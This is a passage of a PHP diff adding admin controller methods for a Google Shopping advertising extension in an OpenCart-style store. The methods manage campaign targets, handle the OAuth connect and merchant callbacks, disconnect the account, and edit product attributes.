+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ if ($data['from_dashboard']) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_campaign'),
+ 'href' => $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true),
+ );
+ }
+
+ if (isset($this->request->post['advertise_google_auto_advertise'])) {
+ $data['advertise_google_auto_advertise'] = $this->request->post['advertise_google_auto_advertise'];
+ } else if ($this->setting->has('advertise_google_auto_advertise')) {
+ $data['advertise_google_auto_advertise'] = $this->setting->get('advertise_google_auto_advertise');
+ } else {
+ $data['advertise_google_auto_advertise'] = '0';
+ }
+
+ if ($data['from_dashboard']) {
+ $data['cancel'] = $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ }
+
+ $data['action'] = $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ $data['target_add'] = html_entity_decode($this->url->link('extension/advertise/google/target_add', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['target_edit'] = html_entity_decode($this->url->link('extension/advertise/google/target_edit', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&advertise_google_target_id={target_id}', true), ENT_QUOTES, 'UTF-8');
+ $data['target_delete'] = html_entity_decode($this->url->link('extension/advertise/google/target_delete', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&advertise_google_target_id={target_id}', true), ENT_QUOTES, 'UTF-8');
+ $data['target_list'] = html_entity_decode($this->url->link('extension/advertise/google/target_list', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_campaign_test'] = html_entity_decode($this->url->link('extension/advertise/google/campaign_test', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['can_edit_campaigns'] = (bool)$this->setting->get('advertise_google_can_edit_campaigns');
+ $data['text_roas_warning'] = sprintf($this->language->get('warning_roas'), date($this->language->get('date_format_long'), time() + Googleshopping::ROAS_WAIT_INTERVAL));
+
+ $data['json_allowed_targets'] = json_encode($this->model_extension_advertise_google->getAllowedTargets());
+
+ $targets = $this->googleshopping->getTargets($this->store_id);
+
+ foreach ($targets as &$target) {
+ if (!$target['roas_status']) {
+ $target['roas_warning'] = sprintf($this->language->get('warning_roas'), date($this->language->get('date_format_long'), $target['roas_available_on']));
+ } else {
+ $target['roas_warning'] = null;
+ }
+ }
+
+ $data['targets'] = $targets;
+ $data['json_targets'] = json_encode($targets);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['current_step'] = 3;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_campaign', $data));
+ }
+
+ public function target_add() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'success' => null,
+ 'redirect' => null,
+ 'error' => null
+ );
+
+ if ($this->validatePermission()) {
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateTarget()) {
+ $this->load->model('extension/advertise/google');
+
+ $target = array(
+ 'store_id' => $this->store_id,
+ 'campaign_name' => str_replace(',', ',', trim($this->request->post['campaign_name'])),
+ 'country' => $this->request->post['country'],
+ 'status' => $this->request->post['status'] == 'active' ? 'active' : 'paused',
+ 'budget' => (float)preg_replace('~[^0-9\.]~i', '', $this->request->post['budget']),
+ 'roas' => isset($this->request->post['roas']) ? (int)$this->request->post['roas'] : 0,
+ 'feeds' => array_values($this->request->post['feed'])
+ );
+
+ $this->model_extension_advertise_google->addTarget($target, $this->store_id);
+
+ try {
+ $this->googleshopping->pushTargets();
+
+ $json['success'] = $this->language->get('success_target_add');
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $json['redirect'] = html_entity_decode($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ } catch (\RuntimeException $e) {
+ $json['error'] = $e->getMessage();
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+
+ if (isset($this->error['campaign_name'])) {
+ $json['error_campaign_name'] = $this->error['campaign_name'];
+ }
+
+ if (isset($this->error['country'])) {
+ $json['error_country'] = $this->error['country'];
+ }
+
+ if (isset($this->error['budget'])) {
+ $json['error_budget'] = $this->error['budget'];
+ }
+
+ if (isset($this->error['feed'])) {
+ $json['error_feed'] = $this->error['feed'];
+ }
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function target_edit() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'success' => null,
+ 'redirect' => null,
+ 'error' => null
+ );
+
+ if ($this->validatePermission()) {
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateTarget()) {
+ $this->load->model('extension/advertise/google');
+
+ $target = array(
+ 'campaign_name' => str_replace(',', ',', trim($this->request->post['campaign_name'])),
+ 'country' => $this->request->post['country'],
+ 'status' => $this->request->post['status'] == 'active' ? 'active' : 'paused',
+ 'budget' => (float)preg_replace('~[^0-9\.]~i', '', $this->request->post['budget']),
+ 'roas' => isset($this->request->post['roas']) ? (int)$this->request->post['roas'] : 0,
+ 'feeds' => array_values($this->request->post['feed'])
+ );
+
+ $this->googleshopping->editTarget((int)$this->request->get['advertise_google_target_id'], $target);
+
+ try {
+ $this->googleshopping->pushTargets();
+
+ $json['success'] = $this->language->get('success_target_edit');
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $json['redirect'] = html_entity_decode($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ } catch (\RuntimeException $e) {
+ $json['error'] = $e->getMessage();
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+
+ if (isset($this->error['campaign_name'])) {
+ $json['error_campaign_name'] = $this->error['campaign_name'];
+ }
+
+ if (isset($this->error['country'])) {
+ $json['error_country'] = $this->error['country'];
+ }
+
+ if (isset($this->error['budget'])) {
+ $json['error_budget'] = $this->error['budget'];
+ }
+
+ if (isset($this->error['feed'])) {
+ $json['error_feed'] = $this->error['feed'];
+ }
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function target_delete() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'success' => null,
+ 'redirect' => null,
+ 'error' => null
+ );
+
+ if ($this->validatePermission()) {
+ $this->load->model('extension/advertise/google');
+
+ $advertise_google_target_id = (int)$this->request->get['advertise_google_target_id'];
+
+ $target_info = $this->googleshopping->getTarget($advertise_google_target_id);
+
+ if (!empty($target_info)) {
+ try {
+ $this->googleshopping->deleteCampaign($target_info['campaign_name']);
+
+ $this->googleshopping->deleteTarget($advertise_google_target_id);
+
+ $json['success'] = $this->language->get('success_target_delete');
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $json['redirect'] = html_entity_decode($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ } catch (\RuntimeException $e) {
+ $json['error'] = $e->getMessage();
+ }
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function target_list() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'targets' => null,
+ 'error' => null
+ );
+
+ $this->load->model('extension/advertise/google');
+
+ $targets = $this->googleshopping->getTargets($this->store_id);
+
+ foreach ($targets as &$target) {
+ if (!$target['roas_status']) {
+ $target['roas_warning'] = sprintf($this->language->get('warning_roas'), date($this->language->get('date_format_long'), $target['roas_available_on']));
+ } else {
+ $target['roas_warning'] = null;
+ }
+ }
+
+ $json['targets'] = $targets;
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function callback_merchant() {
+ $state_verified =
+ !empty($this->session->data['advertise_google']['state']) &&
+ !empty($this->request->get['state']) &&
+ $this->request->get['state'] == $this->session->data['advertise_google']['state'];
+
+ $error = isset($this->request->get['error']) ? $this->request->get['error'] : null;
+ $merchant_id = isset($this->request->get['merchant_id']) ? $this->request->get['merchant_id'] : null;
+
+ if ($state_verified && is_null($error)) {
+ $this->load->language('extension/advertise/google');
+
+ try {
+ $this->googleshopping->verifySite();
+
+ $this->load->model('user/user');
+ $user_info = $this->model_user_user->getUser($this->user->getId());
+
+ $this->applyNewSettings(array(
+ 'advertise_google_gmc_account_selected' => true,
+ 'advertise_google_gmc_account_id' => $merchant_id,
+ 'advertise_google_gmc_account_accepted_by' => array(
+ 'user_id' => $user_info['user_id'],
+ 'user_group_id' => $user_info['user_group_id'],
+ 'user_group' => $user_info['user_group'],
+ 'username' => $user_info['username'],
+ 'firstname' => $user_info['firstname'],
+ 'lastname' => $user_info['lastname'],
+ 'email' => $user_info['email'],
+ 'ip' => $user_info['ip']
+ ),
+ 'advertise_google_gmc_account_accepted_at' => time(),
+ 'advertise_google_conversion_tracker' => $this->googleshopping->getConversionTracker(),
+ 'advertise_google_can_edit_campaigns' => '0'
+ ));
+
+ if ($this->session->data['advertise_google']['account_type'] == 'api') {
+ $this->session->data['success'] = sprintf($this->language->get('success_merchant_access'), $merchant_id);
+ } else {
+ $this->session->data['success'] = $this->language->get('success_merchant');
+ }
+
+ if (count($this->googleshopping->getTargets($this->store_id)) > 0) {
+ $this->response->redirect($this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ unset($this->session->data['advertise_google']);
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->session->data['error'] = $e->getMessage();
+ }
+ } else if (!is_null($error)) {
+ $this->session->data['error'] = $error;
+
+ $setting = $this->model_setting_setting->getSetting('advertise_google', $this->store_id);
+
+ unset($setting['advertise_google_status']);
+ unset($setting['advertise_google_work']);
+ unset($setting['advertise_google_gmc_account_selected']);
+ unset($setting['advertise_google_gmc_shipping_taxes_configured']);
+ unset($setting['advertise_google_can_edit_campaigns']);
+
+ $this->model_setting_setting->editSetting('advertise_google', $setting, $this->store_id);
+ }
+
+ unset($this->session->data['advertise_google']);
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ public function callback_connect() {
+ $state_verified =
+ !empty($this->session->data['advertise_google']['state']) &&
+ !empty($this->request->get['state']) &&
+ $this->request->get['state'] == $this->session->data['advertise_google']['state'];
+
+ if ($state_verified) {
+ $this->load->language('extension/advertise/google');
+
+ $this->load->model('extension/advertise/google');
+
+ try {
+ $access = $this->googleshopping->access($this->session->data['advertise_google'], urldecode($this->request->get['code']));
+
+ $this->applyNewSettings(array(
+ 'advertise_google_app_id' => $this->session->data['advertise_google']['app_id'],
+ 'advertise_google_app_secret' => $this->session->data['advertise_google']['app_secret'],
+ 'advertise_google_status' => $this->session->data['advertise_google']['status'],
+ 'advertise_google_cron_token' => $this->session->data['advertise_google']['cron_token'],
+ 'advertise_google_cron_acknowledge' => $this->session->data['advertise_google']['cron_acknowledge'],
+ 'advertise_google_cron_email' => $this->session->data['advertise_google']['cron_email'],
+ 'advertise_google_cron_email_status' => $this->session->data['advertise_google']['cron_email_status'],
+ 'advertise_google_access_token' => $access['access_token'],
+ 'advertise_google_refresh_token' => $access['refresh_token']
+ ));
+
+ $this->session->data['success'] = $this->language->get('success_connect');
+
+ if (count($this->googleshopping->getTargets($this->store_id)) > 0 && $this->setting->get('advertise_google_gmc_account_selected')) {
+ $this->response->redirect($this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->session->data['error'] = $e->getMessage();
+ }
+ } else if (isset($this->request->get['error'])) {
+ $this->session->data['error'] = $this->request->get['error'];
+ }
+
+ unset($this->session->data['advertise_google']);
+
+ if ($this->setting->get('advertise_google_gmc_account_selected')) {
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else {
+ $this->response->redirect($this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+ }
+
+ public function connect() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateSettings() && $this->validateConnect()) {
+ unset($this->session->data['advertise_google']);
+
+ $this->session->data['advertise_google']['app_id'] = $this->request->post['advertise_google_app_id'];
+ $this->session->data['advertise_google']['app_secret'] = $this->request->post['advertise_google_app_secret'];
+ $this->session->data['advertise_google']['status'] = $this->request->post['advertise_google_status'];
+ $this->session->data['advertise_google']['cron_email_status'] = $this->request->post['advertise_google_cron_email_status'];
+ $this->session->data['advertise_google']['cron_email'] = $this->request->post['advertise_google_cron_email'];
+ $this->session->data['advertise_google']['cron_token'] = $this->request->post['advertise_google_cron_token'];
+ $this->session->data['advertise_google']['cron_acknowledge'] = isset($this->request->post['advertise_google_cron_acknowledge']);
+ $this->session->data['advertise_google']['redirect_uri'] = html_entity_decode($this->url->link('extension/advertise/google/callback_connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $this->session->data['advertise_google']['state'] = md5(microtime(true) . json_encode($this->session->data['advertise_google']) . microtime(true));
+
+ $url = $this->googleshopping->authorize($this->session->data['advertise_google']);
+
+ $this->response->redirect($url);
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ if (empty($this->session->data['success']) && $this->getSettingValue('advertise_google_app_id', false) && $this->getSettingValue('advertise_google_app_secret', false)) {
+ $data['error'] = $this->session->data['error'];
+ }
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['error_cron_email'] = $this->getValidationError('cron_email');
+ $data['error_cron_acknowledge'] = $this->getValidationError('cron_acknowledge');
+
+ if (isset($this->error['app_id'])) {
+ $data['error_app_id'] = $this->error['app_id'];
+ } else {
+ $data['error_app_id'] = '';
+ }
+
+ if (isset($this->error['app_secret'])) {
+ $data['error_app_secret'] = $this->error['app_secret'];
+ } else {
+ $data['error_app_secret'] = '';
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ $data['advertise_google_status'] = $this->getSettingValue('advertise_google_status', 1);
+ $data['advertise_google_app_id'] = $this->getSettingValue('advertise_google_app_id', '');
+ $data['advertise_google_app_secret'] = $this->getSettingValue('advertise_google_app_secret', '');
+ $data['advertise_google_cron_email_status'] = $this->getSettingValue('advertise_google_cron_email_status');
+ $data['advertise_google_cron_email'] = $this->getSettingValue('advertise_google_cron_email', $this->config->get('config_email'));
+ $data['advertise_google_cron_token'] = $this->getSettingValue('advertise_google_cron_token');
+ $data['advertise_google_cron_acknowledge'] = $this->getSettingValue('advertise_google_cron_acknowledge', null, true);
+
+ $server = $this->googleshopping->getStoreUrl();
+
+ $data['advertise_google_cron_command'] = 'export CUSTOM_SERVER_NAME=' . parse_url($server, PHP_URL_HOST) . '; export CUSTOM_SERVER_PORT=443; export ADVERTISE_GOOGLE_CRON=1; export ADVERTISE_GOOGLE_STORE_ID=' . $this->store_id . '; ' . PHP_BINDIR . '/php -d session.save_path=' . session_save_path() . ' -d memory_limit=256M ' . DIR_SYSTEM . 'library/googleshopping/cron.php > /dev/null 2> /dev/null';
+
+ if (!$this->setting->get('advertise_google_cron_token')) {
+ $data['advertise_google_cron_token'] = md5(mt_rand());
+ }
+
+ $host_and_uri = parse_url($server, PHP_URL_HOST) . dirname(parse_url($server, PHP_URL_PATH));
+
+ $data['advertise_google_cron_url'] = 'https://' . rtrim($host_and_uri, '/') . '/index.php?route=extension/advertise/google/cron&cron_token={CRON_TOKEN}';
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ $data['action'] = $this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ $data['text_connect_intro'] = sprintf($this->language->get('text_connect_intro'), Googleshopping::API_URL);
+
+ $data['current_step'] = 1;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_connect', $data));
+ }
+
+ public function disconnect() {
+ $this->load->language('extension/advertise/google');
+
+ if ($this->validatePermission()) {
+ try {
+ $this->load->model('setting/setting');
+
+ $this->googleshopping->disconnect();
+
+ foreach ($this->googleshopping->getTargets($this->store_id) as $target) {
+ $this->googleshopping->deleteTarget($target['target_id']);
+ }
+
+ $setting = $this->model_setting_setting->getSetting('advertise_google', $this->store_id);
+
+ unset($setting['advertise_google_status']);
+ unset($setting['advertise_google_work']);
+ unset($setting['advertise_google_access_token']);
+ unset($setting['advertise_google_refresh_token']);
+ unset($setting['advertise_google_gmc_account_selected']);
+ unset($setting['advertise_google_gmc_shipping_taxes_configured']);
+ unset($setting['advertise_google_can_edit_campaigns']);
+
+ $this->model_setting_setting->editSetting('advertise_google', $setting, $this->store_id);
+
+ $this->session->data['success'] = $this->language->get('success_disconnect');
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->session->data['error'] = $e->getMessage();
+ }
+ } else {
+ $this->session->data['error'] = $this->error['warning'];
+ }
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ public function checklist() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validatePermission()) {
+ $this->load->model('setting/setting');
+
+ $this->model_setting_setting->editSetting('advertise_google', $this->request->post, $this->store_id);
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ $data['text_panel_heading'] = sprintf($this->language->get('text_panel_heading'), $this->googleshopping->getStoreName());
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ $data['action'] = $this->url->link('extension/advertise/google/checklist', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_checklist', $data));
+ }
+
+ public function popup_product() {
+ $json = array(
+ 'body' => '',
+ 'title' => '',
+ 'success' => false,
+ 'required_fields' => [],
+ 'success_message' => ''
+ );
+
+ $this->language->load('extension/advertise/google');
+
+ $this->load->model('extension/advertise/google');
+
+ $operand_info = NULL;
+ $form_data = NULL;
+ $filter_data = NULL;
+ $product_ids = array();
+
+ if ($this->request->post['operand']['type'] == 'single') {
+ $product_advertise_google_id = $this->request->post['operand']['data'];
+
+ $product_info = $this->model_extension_advertise_google->getProductByProductAdvertiseGoogleId($product_advertise_google_id);
+
+ if ($product_info !== NULL) {
+ $json['product_id'] = $product_info['product_id'];
+
+ // Required variables:
+ $operand_info = array(
+ 'title' => sprintf($this->language->get('text_popup_title_single'), $product_info['name'], $product_info['model'])
+ );
+
+ $required_fields = $this->model_extension_advertise_google->getRequiredFieldsByProductIds(array($product_info['product_id']), $this->store_id);
+
+ if ($this->request->post['action'] == 'submit') {
+ $form_data = array_merge($this->request->post['form'], array(
+ 'product_id' => $product_info['product_id']
+ ));
+ }
+
+ $options = $this->model_extension_advertise_google->getProductOptionsByProductIds(array($product_info['product_id']));
+
+ $default_form_data = $this->model_extension_advertise_google->getProductAdvertiseGoogle($product_advertise_google_id);
+ }
+ } else if ($this->request->post['operand']['type'] == 'multiple') {
+ if (!empty($this->request->post['operand']['data']['all_pages'])) {
+ $filter_data = $this->getFilter($this->request->post['operand']['data']['filter']);
+
+ $total_products = $this->googleshopping->getTotalProducts($filter_data, $this->store_id);
+
+ // Required variables:
+ $operand_info = array(
+ 'title' => sprintf($this->language->get('text_popup_title_multiple'), $total_products)
+ );
+
+ $required_fields = $this->model_extension_advertise_google->getRequiredFieldsByFilter($filter_data, $this->store_id);
+
+ if ($this->request->post['action'] == 'submit') {
+ $form_data = $this->request->post['form'];
+ }
+
+ $options = $this->model_extension_advertise_google->getProductOptionsByFilter($filter_data);
+ } else {
+ $product_ids = $this->request->post['operand']['data']['select'];
+
+ $total_products = count($product_ids);
+
+ // Required variables:
+ $operand_info = array(
+ 'title' => sprintf($this->language->get('text_popup_title_multiple'), $total_products)
+ );
+
+ $required_fields = $this->model_extension_advertise_google->getRequiredFieldsByProductIds($product_ids, $this->store_id);
+
+ if ($this->request->post['action'] == 'submit') {
+ $form_data = $this->request->post['form'];
+ }
+
+ $options = $this->model_extension_advertise_google->getProductOptionsByProductIds($product_ids);
+ }
+
+ $default_form_data = array(
+ 'google_product_category' => '',
+ 'condition' => '',
+ 'adult' => '',
+ 'multipack' => '',
+ 'is_bundle' => '',
+ 'age_group' => '',
+ 'color' => '',
+ 'gender' => '',
+ 'size_type' => '',
+ 'size_system' => '',
+ 'size' => ''
+ );
+ }
+
+ if ($operand_info !== NULL) {
+ $json['title'] = $operand_info['title'];
+ $json['success_message'] = $this->language->get('success_product');
+
+ $this->load->config('googleshopping/googleshopping');
+
+ $json['required_fields'] = $required_fields;
+
+ if ($this->request->post['action'] == 'submit' && $this->validateProduct($required_fields)) {
+ $form_data['store_id'] = (int)$this->store_id;
+
+ if ($this->request->post['operand']['type'] == 'single') {
+ $this->model_extension_advertise_google->updateSingleProductFields($form_data);
+ } else if ($this->request->post['operand']['type'] == 'multiple') {
+ if (!empty($this->request->post['operand']['data']['all_pages'])) {
+ $this->model_extension_advertise_google->updateMultipleProductFields($filter_data, $form_data);
+ } else {
+ foreach ($product_ids as $product_id) {
+ $form_data['product_id'] = (int)$product_id;
+ $this->model_extension_advertise_google->updateSingleProductFields($form_data);
+ }
+ }
+ }
+
+ $json['success'] = true;
+ }
+
+ $data['error'] = '';
+
+ if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ if (isset($this->error['color'])) {
+ $data['error_color'] = $this->error['color'];
+ } else {
+ $data['error_color'] = '';
+ }
+
+ if (isset($this->error['size_system'])) {
+ $data['error_size_system'] = $this->error['size_system'];
+ } else {
+ $data['error_size_system'] = '';
+ }
+
+ if (isset($this->error['size_type'])) {
+ $data['error_size_type'] = $this->error['size_type'];
+ } else {
+ $data['error_size_type'] = '';
+ }
+
+ if (isset($this->error['size'])) {
+ $data['error_size'] = $this->error['size'];
+ } else {
+ $data['error_size'] = '';
+ }
+
+ if (isset($this->error['product_category'])) {
+ $data['error_product_category'] = $this->error['product_category'];
+ } else {
+ $data['error_product_category'] = '';
+ }
+
+ if (isset($this->error['condition'])) {
+ $data['error_condition'] = $this->error['condition'];
+ } else {
+ $data['error_condition'] = '';
+ }
+
+ if (isset($this->error['age_group'])) {
+ $data['error_age_group'] = $this->error['age_group'];
+ } else {
+ $data['error_age_group'] = '';
+ }
+
+ if (isset($this->error['gender'])) {
+ $data['error_gender'] = $this->error['gender'];
+ } else {
+ $data['error_gender'] = '';
+ }
+
+ if (isset($this->error['adult'])) {
+ $data['error_adult'] = $this->error['adult'];
+ } else {
+ $data['error_adult'] = '';
+ }
+
+ if (isset($this->error['multipack'])) {
+ $data['error_multipack'] = $this->error['multipack'];
+ } else {
+ $data['error_multipack'] = '';
+ }
+
+ if (isset($this->error['is_bundle'])) {
+ $data['error_is_bundle'] = $this->error['is_bundle'];
+ } else {
+ $data['error_is_bundle'] = '';
+ }
+
+ $data['google_product_categories'] = $this->config->get('advertise_google_google_product_categories');
+ $data['conditions'] = array(
+ 'new' => $this->language->get('text_condition_new'),
+ 'refurbished' => $this->language->get('text_condition_refurbished'),
+ 'used' => $this->language->get('text_condition_used')
+ );
+ $data['age_groups'] = array(
+ '' => $this->language->get('text_does_not_apply'),
+ 'newborn' => $this->language->get('text_age_group_newborn'),
+ 'infant' => $this->language->get('text_age_group_infant'),
+ 'toddler' => $this->language->get('text_age_group_toddler'),
+ 'kids' => $this->language->get('text_age_group_kids'),
+ 'adult' => $this->language->get('text_age_group_adult')
+ );
+ $data['genders'] = array(
+ 'unisex' => $this->language->get('text_gender_unisex'),
+ 'female' => $this->language->get('text_gender_female'),
+ 'male' => $this->language->get('text_gender_male')
+ );
+ $data['size_systems'] = array(
+ '' => $this->language->get('text_does_not_apply')
+ );
+ foreach ($this->config->get('advertise_google_size_systems') as $system) {
+ $data['size_systems'][$system] = $system;
+ }
+
+ $data['size_types'] = array(
+ '' => $this->language->get('text_does_not_apply'),
+ 'regular' => $this->language->get('text_size_type_regular'),
+ 'petite' => $this->language->get('text_size_type_petite'),
+ 'plus' => $this->language->get('text_size_type_plus'),
+ 'big and tall' => $this->language->get('text_size_type_big_and_tall'),
+ 'maternity' => $this->language->get('text_size_type_maternity')
+ );
+
+ $data['options'] = array(
+ '' => $this->language->get('text_does_not_apply')
+ );
+
+ foreach ($options as $option) {
+ $data['options'][$option['option_id']] = $option['name'];
+ }
+
+ $data['required_fields'] = json_encode($required_fields);
+
+ if ($this->request->post['action'] == 'submit') {
+ $form_data = $this->request->post['form'];
+ } else {
+ $form_data = $default_form_data;
+ }
+
+ $data['google_product_category'] = $form_data['google_product_category'];
+ $data['condition'] = $form_data['condition'];
+ $data['adult'] = $form_data['adult'];
+ $data['multipack'] = $form_data['multipack'];
+ $data['is_bundle'] = $form_data['is_bundle'];
+ $data['age_group'] = $form_data['age_group'];
+ $data['color'] = $form_data['color'];
+ $data['gender'] = $form_data['gender'];
+ $data['size_type'] = $form_data['size_type'];
+ $data['size_system'] = $form_data['size_system'];
+ $data['size'] = $form_data['size'];
+
+ $json['body'] = $this->load->view('extension/advertise/google_popup_product', $data);
+ } else {
+ $json['title'] = $this->language->get('error_popup_not_found_title');
+ $json['body'] = $this->language->get('error_popup_not_found_body');
+ }
+
